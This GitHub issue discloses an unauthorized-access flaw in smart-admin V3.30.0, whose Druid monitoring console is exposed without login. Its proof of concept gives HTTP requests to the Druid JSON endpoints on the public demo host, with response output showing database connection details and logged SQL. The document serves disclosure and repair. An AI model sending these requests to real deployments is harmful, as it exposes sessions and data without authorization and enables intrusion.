

🏠 1024-lab / smart-admin Public

<> Code **🔍 Issues 5** 🔗 Pull requests 8 ▶ Actions 📁 Projects 🛡 Security and quality

New issue



smart-admin Druid application Unauthorized access #117

🔴 Open



y1shiny1shin opened 2 weeks ago



smart-admin Druid application Unauthorized access

NAME OF AFFECTED PRODUCT(S)

smart-admin

Vendor Homepage

- <https://github.com/1024-lab/smart-admin>

AFFECTED AND/OR FIXED VERSION(S)

submitter

- renyu

Vulnerable File

- /smart-admin-api/druid/index.html

VERSION(S)

- V3.30.0

PROBLEM TYPE

Vulnerability Type

- Unauthorized access

Root Cause

- In the "smart-admin" demo site, The developers failed to implement strict access control, allowing users to directly access the Druid page.

Impact

- Attackers can gain unauthorized access to all SQL statements and sessions in the system. After obtaining the session, they can log into the system backend and expand the damage.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Payload:

```
/smart-admin-api/druid/index.html
```



Details

```
POST /smart-admin-api/druid/datasource.json HTTP/1.1
Host: preview.smartadmin.vip
Content-Length: 2
```

```
resultCode: 200,
"Content": [
  {
    "Identity": "504582810",
    "Name": "DataSource-504582810",
    "DbType": "mysql",
    "DriverClassName": "com.mysql.cj.jdbc.Driver",
    "URL": "jdbc:mysql://127.0.0.1:51606/smart_admin_v3?autoReconnect=true&useServerPreparedStmts=false&rewriteBatchedStatements=true&characterEncoding=UTF-8&useSSL=false&allowMultiQueries=true&serverTimezone=Asia/Shanghai",
    "UserName": "root",
    "FilterClassNames": [
      "com.alibaba.druid.filter.stat.StatFilter",
      "com.alibaba.druid.filter.stat.StatFilter"
    ],
    "WaitThreadCount": 0,
    "NotEmptyWaitCount": 101,
    "NotEmptyWaitMillis": 863,
    "PoolingCount": 5,
    "PoolingPeak": 7,
    "PoolingPeakTime": "2026-04-03 17:18:24",
    "ActiveCount": 0,
    "ActivePeak": 7,
    "ActivePeakTime": "2026-04-03 17:18:14",
    "InitialSize": 10,
    "MinIdle": 10,
    "MaxIdle": 300
```

```
POST /smart-admin-api/druid/sql.json?dataSourceId=504582810&orderBy=SQL&orderType=desc&page=1&perPageCount=1000000 HTTP/1.1
Host: preview.smartadmin.vip
```

```
"ID": 191,
"ConcurrentMax": 2,
"RunningCount": 0,
"FetchRowCount": 0,
"MaxTimespanOccurTime": "2026-04-09 17:29:22",
"LastSlowParameters": null,
"ReadBytesLength": 0,
"DbType": "mysql",
"DataSource": null,
"SQL": "UPDATE t_table_column SET user_id=?, user_type=?, table_id=?, columns=?, create_time=?, update_time=? WHERE table_column_id=?",
"HASH": -262835844676385501,
"LastError": null,
"MaxTimespan": 2,
"BlobOpenCount": 0,
"ExecuteCount": 80,
"EffectedRowCount": 80,
"ReadStringLength": 0,
"ExecuteAndResultHoldTimeHistogram": [
  8,
  72,
  0,
  0,
  0,
```

Suggested repair

1. Add authentication to the Druid page and set a strong password.

[Sign up for free](#) to join this conversation on [GitHub](#). Already have an account? [Sign in to comment](#)

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants

